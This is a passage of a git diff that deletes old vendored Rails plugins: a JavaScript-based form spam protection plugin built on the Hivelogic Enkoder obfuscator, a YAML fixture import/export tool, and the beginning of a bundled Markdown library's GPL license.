--- a/vendor/plugins/form_spam_protection/README
+++ /dev/null
@@ -1,32 +0,0 @@
-FormSpamProtection 
-==================
-
-Tired of forms in your web application getting spammed? Captcha works but is a
-pain. This plugin ensures a real person is submitting the form without
-requiring anything from the user except that they have Javascript turned on.
-
-This plugin uses the Hivelogic Enkoder, normally used to protect spambots from
-harvesting e-mail addresses, to enkode a hidden field on the form. That field
-is required when the user submits the form or they get an error.
-
-To install: 
-  ./script/plugin install -x http://form-spam-protection.googlecode.com/svn/form_spam_protection/
-
-To use: In your controller, just add: 
-  protect_forms_from_spam
-
-You can also specify :only or :except just like a before filter:
-  protect_forms_from_spam :only => :index
-
-In fact, it is just a before filter. To protect only the form in one action
-and the handling (but not the form) in another, do this:
-  before_filter :protect_form_from_spam, :only => :new
-  before_filter :protect_form_handler_from_spam, :only => :create
-...though this is seldom necessary.
-
-Bugs:
-Please submit bugs through the tracker at http://code.google.com/p/form-spam-protection/issues/list
-
-TODO:
-* Add <noscript> tags to the form to display the "you must have Javascript on" message
-* Make messages and resubmit limit configurable
\ No newline at end of file
diff --git a/vendor/plugins/form_spam_protection/Rakefile b/vendor/plugins/form_spam_protection/Rakefile
deleted file mode 100644
index 42dd96cb..00000000
--- a/vendor/plugins/form_spam_protection/Rakefile
+++ /dev/null
@@ -1,22 +0,0 @@
-require 'rake'
-require 'rake/testtask'
-require 'rake/rdoctask'
-
-desc 'Default: run unit tests.'
-task :default => :test
-
-desc 'Test the form_spam_protection plugin.'
-Rake::TestTask.new(:test) do |t|
-  t.libs << 'lib'
-  t.pattern = 'test/**/*_test.rb'
-  t.verbose = true
-end
-
-desc 'Generate documentation for the form_spam_protection plugin.'
-Rake::RDocTask.new(:rdoc) do |rdoc|
-  rdoc.rdoc_dir = 'rdoc'
-  rdoc.title    = 'FormSpamProtection'
-  rdoc.options << '--line-numbers' << '--inline-source'
-  rdoc.rdoc_files.include('README')
-  rdoc.rdoc_files.include('lib/**/*.rb')
-end
diff --git a/vendor/plugins/form_spam_protection/init.rb b/vendor/plugins/form_spam_protection/init.rb
deleted file mode 100644
index 3a60e7d9..00000000
--- a/vendor/plugins/form_spam_protection/init.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'form_spam_protection'
-require File.join(File.dirname(__FILE__), 'vendor/enkoder/lib/enkoder')
-require File.join(File.dirname(__FILE__), "/test/mocks/enkoder") if RAILS_ENV == 'test'
-ActionController::Base.send :include, FormSpamProtection
\ No newline at end of file
diff --git a/vendor/plugins/form_spam_protection/install.rb b/vendor/plugins/form_spam_protection/install.rb
deleted file mode 100644
index f7732d37..00000000
--- a/vendor/plugins/form_spam_protection/install.rb
+++ /dev/null
@@ -1 +0,0 @@
-# Install hook code here
diff --git a/vendor/plugins/form_spam_protection/lib/form_spam_protection.rb b/vendor/plugins/form_spam_protection/lib/form_spam_protection.rb
deleted file mode 100644
index 44ade73a..00000000
--- a/vendor/plugins/form_spam_protection/lib/form_spam_protection.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require 'form_tag_helper_extensions'
-module FormSpamProtection
-  module ClassMethods
-    def protect_forms_from_spam(*args)
-      before_filter :protect_form_from_spam, *args
-      before_filter :protect_form_handler_from_spam, *args
-    end
-  end
-
-  def protect_form_from_spam
-      @protect_form_from_spam = true
-  end
-  
-  def protect_form_handler_from_spam
-    unless request.get? || request.xml_http_request?
-      if params[:_form_key] && session[:form_keys] 
-        key = Digest::SHA1.hexdigest(params[:_form_key])
-        if session[:form_keys].keys.include?(key)
-          session[:form_keys][key][1] += 1
-          if session[:form_keys][key][1] >= 4
-             flash[:error] = "You cannot resubmit this form again."
-             redirect_to :back
-          end
-        end
-      else
-        flash[:error] = "You must have Javascript on, and cookies enabled, to submit this form."
-        redirect_to :back
-      end
-    end
-  end
-  
-  extend ClassMethods
-  
-  def self.included(receiver)
-    receiver.extend(ClassMethods)
-  end
-  
-  
-end
diff --git a/vendor/plugins/form_spam_protection/lib/form_tag_helper_extensions.rb b/vendor/plugins/form_spam_protection/lib/form_tag_helper_extensions.rb
deleted file mode 100644
index 573707c0..00000000
--- a/vendor/plugins/form_spam_protection/lib/form_tag_helper_extensions.rb
+++ /dev/null
@@ -1,95 +0,0 @@
-require 'digest/sha1'
-module ActionView
-  module Helpers
-    module TagHelper
-      # Now that form_tag accepts blocks, it was easier to alias tag when name == :form
-      def tag_with_form_spam_protection(name, *args)
-        tag_without_form_spam_protection(name, *args).tap do |out|
-          if name == :form && @protect_form_from_spam
-            session[:form_keys] ||= {}
-            form_key = Digest::SHA1.hexdigest(self.object_id.to_s + rand.to_s)
-            session[:form_keys][Digest::SHA1.hexdigest(form_key)] = [Time.now, 0]
-            if session[:form_keys].length > 30
-              first = session[:form_keys].values.sort { |a,b| a[0] <=> b[0] } [0]
-              session[:form_keys].delete(session[:form_keys].key(first))
-            end
-            out << domEnkode(form_key)
-          end
-        end
-      end
-      
-      alias_method :tag_without_form_spam_protection, :tag
-      alias_method :tag, :tag_with_form_spam_protection
-    end
-  end
-end
-
-module ActionView
-  module Helpers
-    module TextHelper
-
-      def domEnkode(form_key, max_length=1024 )
-
-        rnd = 10 + (rand*90).to_i
-
-        kodes = [
-          {
-            'rb' => lambda do |s|
-              s.reverse
-            end,
-            'js' => ";kode=kode.split('').reverse().join('')"
-          },
-          {
-            'rb' => lambda do |s|
-              result = ''
-              s.each_byte { |b|
-                b += 3
-                b-=128 if b>127
-                result += b.chr
-              }
-              result
-            end,
-            'js' => (
-               ";x='';for(i=0;i<kode.length;i++){c=kode.charCodeAt(i)-3;" +
-               "if(c<0)c+=128;x+=String.fromCharCode(c)}kode=x"
-             )
-          },
-          {
-            'rb' => lambda do |s|
-              for i in (0..s.length/2-1)
-                s[i*2],s[i*2+1] = s[i*2+1],s[i*2]
-              end
-              s
-            end,
-            'js' => (
-               ";x='';for(i=0;i<(kode.length-1);i+=2){" +
-               "x+=kode.charAt(i+1)+kode.charAt(i)}" +
-               "kode=x+(i<kode.length?kode.charAt(kode.length-1):'');"
-             )
-          }
-        ]
-
-        kode = "var pos=document.documentElement;while(pos && pos.lastChild && pos.lastChild.nodeType==1)pos=pos.lastChild;var hiddenfield=document.createElement('input');hiddenfield.setAttribute('type','hidden');hiddenfield.setAttribute('name','_form_key');hiddenfield.setAttribute('value','"+form_key+"');pos.parentNode.appendChild(hiddenfield);null;"
-
-        max_length = kode.length+1 unless max_length>kode.length
-
-        result = ''
-
-        while kode.length < max_length
-          idx = (rand*kodes.length).to_i
-          kode = kodes[idx]['rb'].call(kode)
-          kode = "kode=" + js_dbl_quote(kode) + kodes[idx]['js']
-          js = "var kode=\n"+js_wrap_quote(js_dbl_quote(kode),79)
-          js = js+"\n;var i,c,x;while(eval(kode));"
-          js = "function hivelogic_enkoder(){"+js+"}hivelogic_enkoder();"
-          js = '<script type="text/javascript">'+"\n<!--//--><![CDATA[//><!--\n"+js
-          js = js+"\n//--><!]]>\n</script>\n"
-          result = js unless result.length>max_length
-        end
-
-        result.html_safe
-
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/form_spam_protection/test/form_spam_protection_test.rb b/vendor/plugins/form_spam_protection/test/form_spam_protection_test.rb
deleted file mode 100644
index 17d0862e..00000000
--- a/vendor/plugins/form_spam_protection/test/form_spam_protection_test.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require File.dirname(__FILE__) + '/test_helper'
-
-class FormSpamProtectionTest < Test::Unit::TestCase
-  def setup
-    @controller = ProtectedController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-  end
-
-  def test_index_form_is_protected
-    get :index
-    assert_response :success
-    assert_select 'code input[type="hidden"]'
-  end
-  
-  def test_index_form_handler_is_protected
-    post :index
-    assert_response 403
-    assert_equal "You must have Javascript on, and cookies enabled, to submit this form.", @response.body
-
-    get :index
-    form_key_tag = assert_select('code input[type="hidden"]').first
-    submit_with_valid_key = lambda { post :index, :_form_key => form_key_tag.attributes['value'] }
-    
-    submit_with_valid_key.call
-    assert_response :success
-    assert_equal "Submission successful", @response.body
-    
-    3.times(&submit_with_valid_key) # Total of 4 times
-    assert_response 403
-    assert_equal "You cannot resubmit this form again.", @response.body
-  end
-  
-  def test_unprotected_form_is_unprotected
-    get :unprotected
-    assert_response :success
-    assert_select 'input[type="hidden"]', false
-  end
-end
diff --git a/vendor/plugins/form_spam_protection/test/mocks/enkoder.rb b/vendor/plugins/form_spam_protection/test/mocks/enkoder.rb
deleted file mode 100644
index bf10914e..00000000
--- a/vendor/plugins/form_spam_protection/test/mocks/enkoder.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require File.join(File.dirname(__FILE__), '../../vendor/enkoder/lib/enkoder')
-
-module ActionView
-  module Helpers
-    module TextHelper
-
-      # Don't really enkode, because our tests can't eval Javascript
-      def enkode( html, max_length=nil )
-        "<code>#{html}</code>"
-      end
-      
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/form_spam_protection/test/test_helper.rb b/vendor/plugins/form_spam_protection/test/test_helper.rb
deleted file mode 100644
index 55f92d4c..00000000
--- a/vendor/plugins/form_spam_protection/test/test_helper.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-RAILS_ENV = 'test'
-require File.expand_path(File.join(File.dirname(__FILE__), '../../../../config/environment.rb'))
-require 'action_controller/test_process'
-require 'breakpoint'
-
-class ProtectedController < ActionController::Base
-  protect_forms_from_spam :only => :index
-  def index
-    if request.get?
-      render :inline => form
-    else
-      render :text => 'Submission successful'
-    end
-  end
-  
-  def unprotected
-    render :inline => form
-  end
-  
-  private
-  def form
-    <<-EOD
-    <% form_tag do %>
-    	MyField: <%= text_field_tag 'testme' %>
-    	<%= submit_tag %>
-    <% end %>
-    EOD
-  end
-
-end
diff --git a/vendor/plugins/form_spam_protection/uninstall.rb b/vendor/plugins/form_spam_protection/uninstall.rb
deleted file mode 100644
index 97383334..00000000
--- a/vendor/plugins/form_spam_protection/uninstall.rb
+++ /dev/null
@@ -1 +0,0 @@
-# Uninstall hook code here
diff --git a/vendor/plugins/form_spam_protection/vendor/enkoder/LICENSE b/vendor/plugins/form_spam_protection/vendor/enkoder/LICENSE
deleted file mode 100644
index 8084b8af..00000000
--- a/vendor/plugins/form_spam_protection/vendor/enkoder/LICENSE
+++ /dev/null
@@ -1,27 +0,0 @@
-Copyright (c) 2006, Automatic Corp.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without modification,
-are permitted provided that the following conditions are met:
-
-	1. Redistributions of source code must retain the above copyright notice,
-	this list of conditions and the following disclaimer.
-
-	2. Redistributions in binary form must reproduce the above copyright notice,
-	this list of conditions and the following disclaimer in the documentation
-	and/or other materials provided with the distribution.
-
-	3. Neither the name of AUTOMATIC CORP. nor the names of its contributors may
-	be used to endorse or promote products derived from this software without
-	specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
-ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
-LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
-ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
diff --git a/vendor/plugins/form_spam_protection/vendor/enkoder/README b/vendor/plugins/form_spam_protection/vendor/enkoder/README
deleted file mode 100644
index 6f006f1e..00000000
--- a/vendor/plugins/form_spam_protection/vendor/enkoder/README
+++ /dev/null
@@ -1,82 +0,0 @@
-==Hivelogic Enkoder
-
-The Enkoder plugin provides an extension to TextHelper that can be used to
-protect email addresses (or other information) by obfuscating them using
-JavaScript code. The only way to decrypt the JavaScript is to actually run it,
-hiding the results from email-harvesting robots while revealing them to real
-people.
-
-It uses a significantly different (and some might say more secure) algorithm
-than the built-in mail_to helper.
-
-Note: There's no guarantee here -- the only way to be completely safe is to not
-publish your address at all.
-
-
-==Installation:
-
-Just drop the "enkoder" folder into the /vendor/plugins folder in your project.
-
-
-==Usage:
-
-There are two methods:
-
-	enkode( html )
-	
-This method accepts a block of html (or any text) and returns an enkoded JavaScript.
-
-The second method is:
-
-	enkode_mail( email, link_text, title_text=nil, subject=nil )
-
-This method takes an email address, the text to show to the viewer, optional
-title text (what's seen when somebody hovers over the link), and optional
-subject for the email, and returns an enkoded email address link.
-
-
-==Examples:
-
-To enkode a single email address, one could just do:
-
-	<%= enkode_mail('user@domain.com','click here') %>
-
-And the following link would be returned (enkoded as JavaScript):
-
-	<a href="mailto:"user@domain.com" title="">click here</a>
-
-Adding a title and subject text would require the second two optional fields:
-
-	<%= enkode_mail('user@domain.com','click here', 'email me', 'enkoder') %>
-
-And we'd get back (enkoded as JavaScript):
-
-	<a href="mailto:"user@domain.com?subject=enkoder" title="email me">click here</a>
-
-Of course we can also enkode many email addresses on the fly:
-
-	<% @users.each do |user| %>
-		<p><%= enkode_mail(@user.email,@user.name) %></p>
-	<% end %>
-
-To enkode a snippet of XHTML, we can do:
-
-	<%= enkode("<p>This block will be hidden from spambots.</p>") %>
-
-We could protect a link or block of XHTML from being indexed like this:
-
-	<%= enkode('Try and find <a href="secret.html">this</a>, google!') %>
-
-We could have anything we wanted in that block, XHTML, links, email addresses, etc.
-
-For more examples and to see the full functionality of the Enkoder, have a look
-its permanent page on the web:
-
-	http://hivelogic.com/enkoder
-
-
-==License:
-
-Copyright (c) 2006 Automatic Corp.
-
-This plugin is released under the LGPL license.  See LICENSE file for details.
diff --git a/vendor/plugins/form_spam_protection/vendor/enkoder/init.rb b/vendor/plugins/form_spam_protection/vendor/enkoder/init.rb
deleted file mode 100644
index b34c1fd6..00000000
--- a/vendor/plugins/form_spam_protection/vendor/enkoder/init.rb
+++ /dev/null
@@ -1 +0,0 @@
-require 'enkoder'
diff --git a/vendor/plugins/form_spam_protection/vendor/enkoder/lib/enkoder.rb b/vendor/plugins/form_spam_protection/vendor/enkoder/lib/enkoder.rb
deleted file mode 100644
index 3e0a6934..00000000
--- a/vendor/plugins/form_spam_protection/vendor/enkoder/lib/enkoder.rb
+++ /dev/null
@@ -1,144 +0,0 @@
-# Copyright (c) 2006, Automatic Corp.
-# All rights reserved.
-# 
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions are met:
-# 
-# 	1. Redistributions of source code must retain the above copyright notice,
-# 	this list of conditions and the following disclaimer.
-# 
-# 	2. Redistributions in binary form must reproduce the above copyright notice,
-# 	this list of conditions and the following disclaimer in the documentation
-# 	and/or other materials provided with the distribution.
-# 
-# 	3. Neither the name of AUTOMATIC CORP. nor the names of its contributors
-#   may be used to endorse or promote products derived from this software
-#   without specific prior written permission.
-# 
-# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
-# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-# POSSIBILITY OF SUCH DAMAGE.
-
-
-module ActionView
-  module Helpers
-    module TextHelper
-
-      def enkode( html, max_length=1024 )
-
-        rnd = 10 + (rand*90).to_i
-
-        kodes = [
-          {
-            'rb' => lambda do |s|
-              s.reverse
-            end,
-            'js' => ";kode=kode.split('').reverse().join('')"
-          },
-          {
-            'rb' => lambda do |s|
-              result = ''
-              s.each_byte { |b|
-                b += 3
-                b-=128 if b>127
-                result += b.chr
-              }
-              result
-            end,
-            'js' => (
-               ";x='';for(i=0;i<kode.length;i++){c=kode.charCodeAt(i)-3;" +
-               "if(c<0)c+=128;x+=String.fromCharCode(c)}kode=x"
-             )
-          },
-          {
-            'rb' => lambda do |s|
-              for i in (0..s.length/2-1)
-                s[i*2],s[i*2+1] = s[i*2+1],s[i*2]
-              end
-              s
-            end,
-            'js' => (
-               ";x='';for(i=0;i<(kode.length-1);i+=2){" +
-               "x+=kode.charAt(i+1)+kode.charAt(i)}" +
-               "kode=x+(i<kode.length?kode.charAt(kode.length-1):'');"
-             )
-          }
-        ]
-
-        kode = "document.write("+ js_dbl_quote(html) +");"
-
-        max_length = kode.length+1 unless max_length>kode.length
-
-        result = ''
-
-        while kode.length < max_length
-          idx = (rand*kodes.length).to_i
-          kode = kodes[idx]['rb'].call(kode)
-          kode = "kode=" + js_dbl_quote(kode) + kodes[idx]['js']
-          js = "var kode=\n"+js_wrap_quote(js_dbl_quote(kode),79)
-          js = js+"\n;var i,c,x;while(eval(kode));"
-          js = "function hivelogic_enkoder(){"+js+"}hivelogic_enkoder();"
-          js = '<script type="text/javascript">'+"\n/* <![CDATA[ */\n"+js
-          js = js+"\n/* ]]> */\n</script>\n"
-          result = js unless result.length>max_length
-        end
-
-        result
-
-      end
-      
-      def enkode_mail( email, link_text, title_text=nil, subject=nil )
-        str = String.new
-        str << '<a href="mailto:' + email
-        str << '?subject=' + subject unless subject.nil?
-        str << '" title="'
-        str << title_text unless title_text.nil?
-        str << '">' + link_text + '</a>'
-        enkode(str)
-      end
-
-      private
-
-        def js_dbl_quote( str )
-          str.inspect
-        end
-
-        def js_wrap_quote( str, max_line_length )
-          max_line_length -= 3
-          inQ = false
-          esc = 0
-          lineLen = 0
-          result = ''
-          chunk = ''
-          while str.length > 0
-            if str =~ /^\\[0-7]{3}/
-              chunk = str[0..3]
-              str[0..3] = ''
-            elsif str =~ /^\\./
-              chunk = str[0..1]
-              str[0..1] = ''
-            else
-              chunk = str[0..0]
-              str[0..0] = ''
-            end
-            if lineLen+chunk.length >= max_line_length
-              result += '"+'+"\n"+'"'
-              lineLen = 1
-            end
-            lineLen += chunk.length
-            result += chunk;
-          end
-          result
-        end
-
-    end
-  end
-end
diff --git a/vendor/plugins/manage_fixtures/CHANGELOG b/vendor/plugins/manage_fixtures/CHANGELOG
deleted file mode 100644
index 6f4d2881..00000000
--- a/vendor/plugins/manage_fixtures/CHANGELOG
+++ /dev/null
@@ -1,15 +0,0 @@
------
-2.1.0
-- Added table import functionality
-  - Changed default db:fixtures:import_all to use tables instead of models
-  - db:fixtures:import_for_tables TABLES=foos,bars
-
-2.0.0
-- Added two new export tasks
-  - db:fixtures:import_all
-  - db:fixtures:import_for_models MODELS=Foo,Bar
-
-1.0.0
-
-- imported original code by Chris McGrath [octopod]
-- added namespace support for the tasks [nshb]
diff --git a/vendor/plugins/manage_fixtures/MIT-LICENSE b/vendor/plugins/manage_fixtures/MIT-LICENSE
deleted file mode 100644
index 24691313..00000000
--- a/vendor/plugins/manage_fixtures/MIT-LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-Copyright (c) 2006 Chris McGrath
-
-The MIT License
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/plugins/manage_fixtures/README b/vendor/plugins/manage_fixtures/README
deleted file mode 100644
index 7f0068e7..00000000
--- a/vendor/plugins/manage_fixtures/README
+++ /dev/null
@@ -1,68 +0,0 @@
-= Description
-
-This plugin is a super lightweight tool used to manage all your fixtures, whether it is exporting or importing them.
-
-So if you want to export all your data from your production server into your development environment, this will simplify the process without having to load up your database manager. 
-
-Similarly, if you want to import a selected set of Models, you can do that using the appropriate tasks.
-
-= INSTALLATION
-
-  [%] script/plugin discover
-  [%] script/plugin install manage_fixtures
-
-= USAGE
-
-Create YAML test fixtures from data in an existing database. Defaults to development database. Set RAILS_ENV to override. 
-  [%] rake db:fixtures:export_all
-
-Create YAML test fixtures for a specific table(s) from data in an existing database. Defaults to development database. Set RAILS_ENV to override. 
-  [%] rake db:fixtures:export_for_tables TABLES=foos[,bars] 
-
-Create YAML text fixtures based on a specific SQL query
-  [%] rake db:fixtures:export_using_query SQL="select * from foo where id='bar'" FIXTURE_NAME=foo
-
-Import the YAML test fixtures for specific models from data in an existing database. Defaults to development database. Set RAILS_ENV to override.
-  [%] rake db:fixtures:import_for_models MODELS=Foo[,Bar,Land]
-
-Import all YAML test fixtures for all of the tables from data in an existing database. Defaults to development database. Set RAILS_ENV to override.
-  [%] rake db:fixtures:import_all
-
-Import all YAML test fixtures for all of the tables from data in an existing database. Defaults to development database. Set RAILS_ENV to override.
-  [%] rake db:fixtures:import_for_tables TABLES=foos[,bars,land]
-
-= AUTHORS
-
-Nathaniel Brown - nshb@inimit.com
-Chris McGrath
-
-= BUGS
-
-Please report any bugs or feature enhancements to http://dev.toolbocks.com
-
-= LICENSE
-
-Copyright (c) 2006 Nathaniel Brown
-Copyright (c) 2006 Chris McGrath
-
-This is the MIT license, the license Ruby on Rails itself is licensed 
-under.
-
-Permission is hereby granted, free of charge, to any person obtaining 
-a copy of this software and associated documentation files (the 
-"Software"), to deal in the Software without restriction, including 
-without limitation the rights to use, copy, modify, merge, publish, 
-distribute, sublicense, and/or sell copies of the Software, and to permit
-persons to whom the Software is furnished to do so, subject to the 
-following conditions:
-
-The above copyright notice and this permission notice shall be included 
-in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
-OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 
-IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 
-CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 
-TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
-OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 
diff --git a/vendor/plugins/manage_fixtures/index.html b/vendor/plugins/manage_fixtures/index.html
deleted file mode 100644
index fe03bde2..00000000
--- a/vendor/plugins/manage_fixtures/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
-<html><head><title>Revision 427: /plugins/manage_fixtures</title></head>
-<body>
- <h2>Revision 427: /plugins/manage_fixtures</h2>
- <ul>
-  <li><a href="../">..</a></li>
-  <li><a href="CHANGELOG">CHANGELOG</a></li>
-  <li><a href="MIT-LICENSE">MIT-LICENSE</a></li>
-  <li><a href="README">README</a></li>
-  <li><a href="lib/">lib/</a></li>
-  <li><a href="tasks/">tasks/</a></li>
- </ul>
- <hr noshade><em>Powered by <a href="http://subversion.tigris.org/">Subversion</a> version 1.4.4 (r25188).</em>
-</body></html>
\ No newline at end of file
diff --git a/vendor/plugins/manage_fixtures/lib/index.html b/vendor/plugins/manage_fixtures/lib/index.html
deleted file mode 100644
index 6f0bdecf..00000000
--- a/vendor/plugins/manage_fixtures/lib/index.html
+++ /dev/null
@@ -1,9 +0,0 @@
-<html><head><title>Revision 427: /plugins/manage_fixtures/lib</title></head>
-<body>
- <h2>Revision 427: /plugins/manage_fixtures/lib</h2>
- <ul>
-  <li><a href="../">..</a></li>
-  <li><a href="manage_fixtures.rb">manage_fixtures.rb</a></li>
- </ul>
- <hr noshade><em>Powered by <a href="http://subversion.tigris.org/">Subversion</a> version 1.4.4 (r25188).</em>
-</body></html>
\ No newline at end of file
diff --git a/vendor/plugins/manage_fixtures/lib/manage_fixtures.rb b/vendor/plugins/manage_fixtures/lib/manage_fixtures.rb
deleted file mode 100644
index b3340c56..00000000
--- a/vendor/plugins/manage_fixtures/lib/manage_fixtures.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-def write_yaml_fixtures_to_file(sql, fixture_name)
-  i = "000"
-  File.open("#{RAILS_ROOT}/dump/fixtures/#{fixture_name}.yml", 'w' ) do |file|
-    data = ActiveRecord::Base.connection.select_all(sql)
-    file.write data.inject({}) { |hash, record|
-      hash["#{fixture_name}_#{i.succ!}"] = record
-      hash
-    }.to_yaml
-  end
-end
-
-def import_table_fixture(table)
-  filename = File.join(RAILS_ROOT,'dump','fixtures',table + '.yml')
-  success = Hash.new
-  records = YAML::load( File.open(filename))
-
-  records.sort.each do |r|
-    row = r[1]
-    columns = []
-    values = []
-  
-    row.each_pair do |column, value|
-      if column.to_sym
-        columns << ActiveRecord::Base.connection.quote_column_name(column)
-        values << ActiveRecord::Base.connection.quote(value)
-      else
-        p "Column not found" + column.to_s
-      end
-    end
-    
-    insert_sql = "INSERT INTO #{table} (" + columns.join(', ') + ") VALUES (" + values.join(', ') + ")"
-
-      begin
-        if ActiveRecord::Base.connection.execute(insert_sql)
-          success[table.to_sym] = (success[table.to_sym] ? success[table.to_sym] + 1 : 1)
-        end
-      rescue
-        p "#{table} failed to import: " + insert_sql
-      end
-  end
-
-  p "Total of #{success[table.to_sym]} #{table} records imported successfully"
-end
-
-def import_model_fixture(model)
-  filename = File.join(RAILS_ROOT,'dump','fixtures',model.tableize + '.yml')
-  success = Hash.new
-  records = YAML::load( File.open(filename))
-    @model = Class.const_get(model)
-    @model.transaction do
-      records.sort.each do |r|
-        row = r[1]
-        @new_model = @model.new
-
-        row.each_pair do |column, value|
-          if column.to_sym
-            @new_model.send(column + '=', value)
-          else
-            p "Column not found" + column.to_s
-          end
-        end
-
-
-        begin
-          if @new_model.save
-            success[model.to_sym] = (success[model.to_sym] ? success[model.to_sym] + 1 : 1)
-          end
-        rescue
-          p "#{@new_model.class.to_s} failed to import: " + r.inspect
-          p @new_model.errors.inspect
-        end
-      end
-
-     p "Total of #{success[model.to_sym]} #{@new_model.class.to_s} records imported successfully"
-    end
-end
diff --git a/vendor/plugins/manage_fixtures/tasks/index.html b/vendor/plugins/manage_fixtures/tasks/index.html
deleted file mode 100644
index ad4524c2..00000000
--- a/vendor/plugins/manage_fixtures/tasks/index.html
+++ /dev/null
@@ -1,9 +0,0 @@
-<html><head><title>Revision 427: /plugins/manage_fixtures/tasks</title></head>
-<body>
- <h2>Revision 427: /plugins/manage_fixtures/tasks</h2>
- <ul>
-  <li><a href="../">..</a></li>
-  <li><a href="fixtures.rake">fixtures.rake</a></li>
- </ul>
- <hr noshade><em>Powered by <a href="http://subversion.tigris.org/">Subversion</a> version 1.4.4 (r25188).</em>
-</body></html>
\ No newline at end of file
diff --git a/vendor/plugins/maruku/AUTHORS b/vendor/plugins/maruku/AUTHORS
deleted file mode 100644
index e6c73e6d..00000000
--- a/vendor/plugins/maruku/AUTHORS
+++ /dev/null
@@ -1,23 +0,0 @@
-Incomplete list of contributors
--------------------------------
-
-Code and patches from:
-
-* [Andrea Censi](http://www.cds.caltech.edu/~andrea/)
-* [Jacques Distler](http://golem.ph.utexas.edu/~distler/)
-* Paul Dlug
-* [Ari Stern](http://www.acm.caltech.edu/~astern)
-* Damir Zekic (z3c)
-* Alexandr Mankuta (cheba)
-* Nathan Weizenbaum <nex342@gmail.com>
-
-Bug reporting, feature requests and praise:
-
-* Snowman 
-* Sander Bouwhuis
-* Aggelos Orfanakos
-* Louis Marascio
-* Elliot Cable
-* ....
-
-(if you think your name should be here, I probably forgot to add it: tell me!)
diff --git a/vendor/plugins/maruku/LICENSE b/vendor/plugins/maruku/LICENSE
deleted file mode 100644
index 04137b9b..00000000
--- a/vendor/plugins/maruku/LICENSE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
